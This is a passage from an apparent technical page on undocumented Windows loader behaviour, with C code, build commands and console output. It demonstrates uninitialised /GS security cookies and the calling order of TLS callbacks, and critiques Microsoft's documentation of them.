WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
ExitProcess(GetLastError());
}
#endif // CONSOLE
#endif // _DLL
Build the
DLL
quirk9.dll
and its import library
quirk9.lib
from the source file quirk9.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/MACHINE:I386 /NODEFAULTLIB CL.EXE /LD /MD quirk9.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk9.dll
is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk9.c quirk9.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk9.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk9.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' quirk9.c(116) : warning C4100: 'lpReserved' : unreferenced formal parameter quirk9.c(116) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /NODEFAULTLIB /out:quirk9.dll /dll /implib:quirk9.lib quirk9.obj kernel32.lib user32.lib Creating library quirk9.lib and object quirk9.exp
Build the console application quirk9.com
from the
source file quirk9.c
created in step 1. with the
preprocessor macro CONSOLE
defined, using the import
library quirk9.lib
generated in step 2.:
SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DCONSOLE /Fequirk9.com quirk9.c quirk9.lib kernel32.lib user32.libNote:
quirk9.com
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk9.c quirk9.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk9.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk9.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk9.com quirk9.obj quirk9.lib kernel32.lib user32.lib
Build the application quirk9.exe
from the source file
quirk9.c
created in step 1. with the
preprocessor macro ZERO
defined:
SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS CL.EXE /DZERO quirk9.c quirk9.lib kernel32.lib user32.lib
Note: quirk9.exe
is a pure
Win32 application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk9.c quirk9.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk9.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk9.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS /out:quirk9.exe quirk9.obj quirk9.lib kernel32.lib user32.lib
�
.\quirk9.com .\quirk9.exe CONTROL.EXE "%CD%\quirk9.dll"
__DllMainCRTStartup@12 entry point: /GS security cookie initialised as 0xC97D2381 _wmainCRTStartup entry point: /GS security cookie initialised as 0xAB5E5CC5
Repeat the previous four steps 2. to 5. to build
quirk9.dll
, quirk9.com
and
quirk9.exe
for the x64 alias
AMD64 processor architecture and execute them:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/MACHINE:AMD64 /NODEFAULTLIB CL.EXE /LD /MD quirk9.c kernel32.lib user32.lib SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DCONSOLE /Fequirk9.com quirk9.c quirk9.lib kernel32.lib user32.lib SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS CL.EXE /DZERO quirk9.c quirk9.lib kernel32.lib user32.lib .\quirk9.com .\quirk9.exe CONTROL.EXE "%CD%\quirk9.dll"
Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk9.c quirk9.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' quirk9.c(116) : warning C4100: 'lpReserved' : unreferenced formal parameter quirk9.c(116) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:AMD64 /NODEFAULTLIB /out:quirk9.dll /dll /implib:quirk9.lib quirk9.obj kernel32.lib user32.lib Creating library quirk9.lib and object quirk9.exp Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk9.c quirk9.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk9.com quirk9.obj quirk9.lib kernel32.lib user32.lib Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk9.c quirk9.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS /out:quirk9.exe quirk9.obj quirk9.lib kernel32.lib user32.lib _DllMainCRTStartup entry point: /GS security cookie NOT initialised! wmainCRTStartup entry point: /GS security cookie NOT initialised!Oops: �
The .tls section:
The initial note is but obsolete and wrong: Windows Vista and later versions of Windows NT support static TLS data in dynamically loaded DLLs!Note
Statically declared TLS data objects can be used only in statically loaded image files. This fact makes it unreliable to use static TLS data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function.
Executable code accesses a static TLS data object through the following steps:
[…]
At link time, the linker sets the Address of Index field of the TLS directory. This field points to a location where the program expects to receive the TLS index.
The Microsoft run-time library facilitates this process by defining a memory image of the TLS directory and giving it the special name "__tls_used" (Intel x86 platforms) or "_tls_used" (other platforms). The linker looks for this memory image and uses the data there to create the TLS directory. Other compilers that support TLS and work with the Microsoft linker must use this same technique.
When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the FS register. A pointer to the TLS array is at the offset of 0x2C from the beginning of TEB. This behavior is Intel x86-specific.
The loader assigns the value of the TLS index to the place that was indicated by the Address of Index field.
The executable code retrieves the TLS index and also the location of the TLS array.
The code uses the TLS index and the TLS array location (multiplying the index by 4 and using it as an offset to the array) to get the address of the TLS data area for the given program and module. Each thread has its own TLS data area, but this is transparent to the program, which does not need to know how data is allocated for individual threads.
An individual TLS data object is accessed as some fixed offset into the TLS data area.
The TLS directory has the following format:
Offset (PE32/PE32+) Size (PE32/PE32+) Field Description 0 4/8 Raw Data Start VA The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section. 4/8 4/8 Raw Data End VA The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA. 8/16 4/8 Address of Index The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program. 12/24 4/8 Address of Callbacks The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see TLS Callback Functions. 16/32 4 Size of Zero Fill The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data. 20/36 4 Characteristics The four bits [23:20] describe alignment info. Possible values are those defined as IMAGE_SCN_ALIGN_*, which are also used to describe alignment of section in object files. The other 28 bits are reserved for future use. […]
The program can provide one or more TLS callback functions to […]
The prototype for a callback function (pointed to by a pointer of type PIMAGE_TLS_CALLBACK) has the same parameters as a DLL entry-point function:
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK) ( PVOID DllHandle, DWORD Reason, PVOID Reserved );
The Reserved parameter should be set to zero. The Reason parameter can take the following values:
Setting Value Description DLL_PROCESS_ATTACH 1 A new process has started, including the first thread. DLL_THREAD_ATTACH 2 A new thread has been created. This notification sent for all but the first thread. DLL_THREAD_DETACH 3 A thread is about to be terminated. This notification sent for all but the first thread. DLL_PROCESS_DETACH 0 A process is about to terminate, including the original thread.
The documentation misses the following part for the x64 alias AMD64 processor architecture (and corresponding parts for other processor architectures as well):
Terminating a Process The documentation for the
When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the GS register. A pointer to the TLS array is at the offset of 0x58 from the beginning of the TEB. This behavior is Intel x64-specific.
ExitProcess()
function but ignores
TLS Callback Functions
completely:
Use the GetExitCodeProcess function to retrieve the process's exit value. Use the GetExitCodeThread function to retrieve a thread's exit value.The documentation for theExiting a process causes the following:
- All of the threads in the process, except the calling thread, terminate their execution without receiving a DLL_THREAD_DETACH notification.
- The states of all of the threads terminated in step 1 become signaled.
- The entry-point functions of all loaded dynamic-link libraries (DLLs) are called with DLL_PROCESS_DETACH.
- After all attached DLLs have executed any process termination code, the ExitProcess function terminates the current process, including the calling thread.
- The state of the calling thread becomes signaled.
- All of the object handles opened by the process are closed.
- The termination status of the process changes from STILL_ACTIVE to the exit value of the process.
- The state of the process object becomes signaled, satisfying any threads that had been waiting for the process to terminate.
ExitThread()
function fails to inform about
TLS Callback Functions
too:
When this function is called (either explicitly or by returning from a thread procedure), […]The documentation for the
The entry-point function of all attached dynamic-link libraries (DLLs) is invoked with a value indicating that the thread is detaching from the DLL.[…]
Use the GetExitCodeThread function to retrieve a thread's exit code.
GetExitCodeProcess()
function states:
If the process has not terminated and the function succeeds, the status returned is STILL_ACTIVE (a macro for STATUS_PENDING […]The documentation for the
GetExitCodeThread()
function states:
If the specified thread has not terminated and the function succeeds, the status returned is STILL_ACTIVE. If the thread has terminated and the function succeeds, the status returned is one of the following values:Terminating a Thread Thread Local Storage (TLS)
- The exit value specified in the ExitThread or TerminateThread function.
- The return value from the thread function.
- The exit value of the thread's process.
Create the text file quirk10.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szReason[4] = {L"process detach",
L"process attach",
L"thread attach",
L"thread detach"};
__declspec(safebuffers)
VOID WINAPI TLSCallback(HMODULE hModule, DWORD dwReason, LPVOID lpUnused)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwProcess;
DWORD dwThread;
DWORD dwThreadId = GetCurrentThreadId();
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return;
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
szCaller[0] = L'\0';
else
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
GetExitCodeThread(GetCurrentThread(), &dwThread);
GetExitCodeProcess(GetCurrentProcess(), &dwProcess);
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tArguments:\n"
L"\t\tModule = 0x%p\n"
L"\t\tReason = %lu (%ls)\n"
L"\t\tUnused = 0x%p\n"
L"\tThread id = %lu\n"
L"\tThread exit code = %ld\n"
L"\tProcess exit code = %ld\n",
TLSCallback,
hModule, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
hModule, dwReason, szReason[dwReason], lpUnused,
dwThreadId,
dwThread,
dwProcess);
}
DWORD _tls_index = 'VOID'; // NOTE: assigned by the module loader!
const PIMAGE_TLS_CALLBACK _tls_callbacks[] = {TLSCallback, NULL};
// BUG: the module loader does NOT support the 'SizeOfZeroFill' member!
const IMAGE_TLS_DIRECTORY _tls_used = {NULL,
NULL,
&_tls_index,
_tls_callbacks,
'VOID',
0};
extern IMAGE_DOS_HEADER __ImageBase;
__declspec(safebuffers)
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
HMODULE hCaller;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole != INVALID_HANDLE_VALUE)
{
dwModule = GetModuleFileName((HMODULE) &__ImageBase,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
szCaller[0] = L'\0';
else
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tParameter = 0x%p\n"
L"\tThread id = %lu\n",
ThreadProc,
&__ImageBase, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
lpParameter,
GetCurrentThreadId());
}
if (lpParameter == NULL)
return 'NULL';
ExitProcess(WaitForSingleObject(GetCurrentThread(), 123));
}
#ifdef _DLL
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpContext)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwThreadId = GetCurrentThreadId();
HANDLE hThread;
HANDLE hConsole = GetConsoleWindow();
if (hConsole == NULL)
return FALSE;
hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return FALSE;
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
szCaller[0] = L'\0';
else
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tArguments:\n"
L"\t\tModule = 0x%p\n"
L"\t\tReason = %lu (%ls)\n"
L"\t\tContext = 0x%p\n"
L"\tThread id = %lu\n"
L"\tTLS index = %ld\n"
L"\tTLS value = 0x%p\n"
L"\tTLS array @ 0x%p\n"
L"\tTLS block @ 0x%p\n",
_DllMainCRTStartup,
hModule, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
hModule, dwReason, szReason[dwReason], lpContext,
dwThreadId,
_tls_index,
TlsGetValue(_tls_index),
#ifdef _M_IX86
__readfsdword(44),
((LPVOID *) __readfsdword(44))[_tls_index]);
#elif _M_AMD64
__readgsqword(88),
((LPVOID *) __readgsqword(88))[_tls_index]);
#else
#error Only I386 and AMD64 supported!
#endif
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
(SIZE_T) 65536,
ThreadProc,
NULL,
0,
&dwThreadId);
if (hThread == NULL)
PrintConsole(hConsole,
L"CreateThread() returned error %lu\n",
GetLastError());
else
{
PrintConsole(hConsole,
L"\n"
L"Thread %lu created and started\n",
dwThreadId);
if (!CloseHandle(hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
return TRUE;
}
__declspec(dllexport)
const WCHAR Quirk10[] = L"Quirk10";
#else // _DLL
__declspec(dllimport)
extern WCHAR Quirk10[];
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
DWORD dwError = ERROR_SUCCESS;
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwThreadId = GetCurrentThreadId();
DWORD dwThread;
HANDLE hThread;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwModule = GetModuleFileName((HMODULE) NULL,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
szCaller[0] = L'\0';
else
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\n"
L"\tThread id = %lu\n"
L"\tTLS index = %ld\n"
L"\tTLS value = 0x%p\n"
L"\tTLS array @ 0x%p\n"
L"\tTLS block @ 0x%p\n",
wmainCRTStartup,
&__ImageBase, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
dwThreadId,
_tls_index,
TlsGetValue(_tls_index),
#ifdef _M_IX86
__readfsdword(44),
((LPVOID *) __readfsdword(44))[_tls_index]);
#elif _M_AMD64
__readgsqword(88),
((LPVOID *) __readgsqword(88))[_tls_index]);
#else
#error Only I386 and AMD64 supported!
#endif
hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
(SIZE_T) 65536,
ThreadProc,
Quirk10,
0,
&dwThreadId);
if (hThread == NULL)
PrintConsole(hConsole,
L"CreateThread() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"\n"
L"Thread %lu created and started\n",
dwThreadId);
if (WaitForSingleObject(hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeThread(hThread, &dwThread))
PrintConsole(hConsole,
L"GetExitCodeThread() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"\n"
L"Thread %lu exited with code %lu\n",
dwThreadId, dwThread);
if (!CloseHandle(hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (WaitForSingleObject(GetCurrentThread(), INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
#endif // _DLL
Build the
DLL
quirk10.dll
and its import library
quirk10.lib
from the source file quirk10.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/NODEFAULTLIB CL.EXE /LD /MD quirk10.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk10.dll
is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk10.c quirk10.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' quirk10.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' quirk10.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *' quirk10.c(107) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /out:quirk10.dll /dll /implib:quirk10.lib quirk10.obj kernel32.lib user32.lib Creating library quirk10.lib and object quirk10.exp
Build the console application quirk10.exe
from the
source file quirk10.c
created in step 1., using
the import library quirk10.lib
generated in
step 2.:
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk10.c quirk10.lib kernel32.lib user32.libNote:
quirk10.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk10.c quirk10.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' quirk10.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' quirk10.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *' quirk10.c(107) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk10.exe quirk10.obj quirk10.lib kernel32.lib user32.lib
Execute the console application quirk10.exe
:
.\quirk10.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F968 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 1 (process attach) Unused = 0x00000000 Thread id = 3700 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F9A4 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 1 (process attach) Context = 0x0047FCA8 Thread id = 3700 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x007E4CA0 TLS block @ 0x007FB5A0 Thread 7816 created and started TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F968 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 1 (process attach) Unused = 0x00000000 Thread id = 3700 Thread exit code = 259 Process exit code = 259 wmainCRTStartup() function @ 0x0023122A Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0047FF10 = 0x7721343D Thread id = 3700 TLS index = 0 TLS value = 0x00000000 TLS array @ 0x007E4CA0 TLS block @ 0x007E4CD0 Thread 13192 created and started TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F898 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F8D4 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Context = 0x00000000 Thread id = 7816 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x00802840 TLS block @ 0x00802870 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F898 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F664 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F6A0 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Context = 0x00000000 Thread id = 13192 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x008028A8 TLS block @ 0x008028E8 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F664 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x74651148 Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0217FC68 = 0x7721343D Parameter = 0x00000000 Thread id = 7816 ThreadProc() function @ 0x00231148 Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0233FA34 = 0x7721343D Parameter = 0x746530F8 Thread id = 13192 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB58 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 3 (thread detach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB94 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 3 (thread detach) Context = 0x00000000 Thread id = 7816 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x00802840 TLS block @ 0x00802870 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB58 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 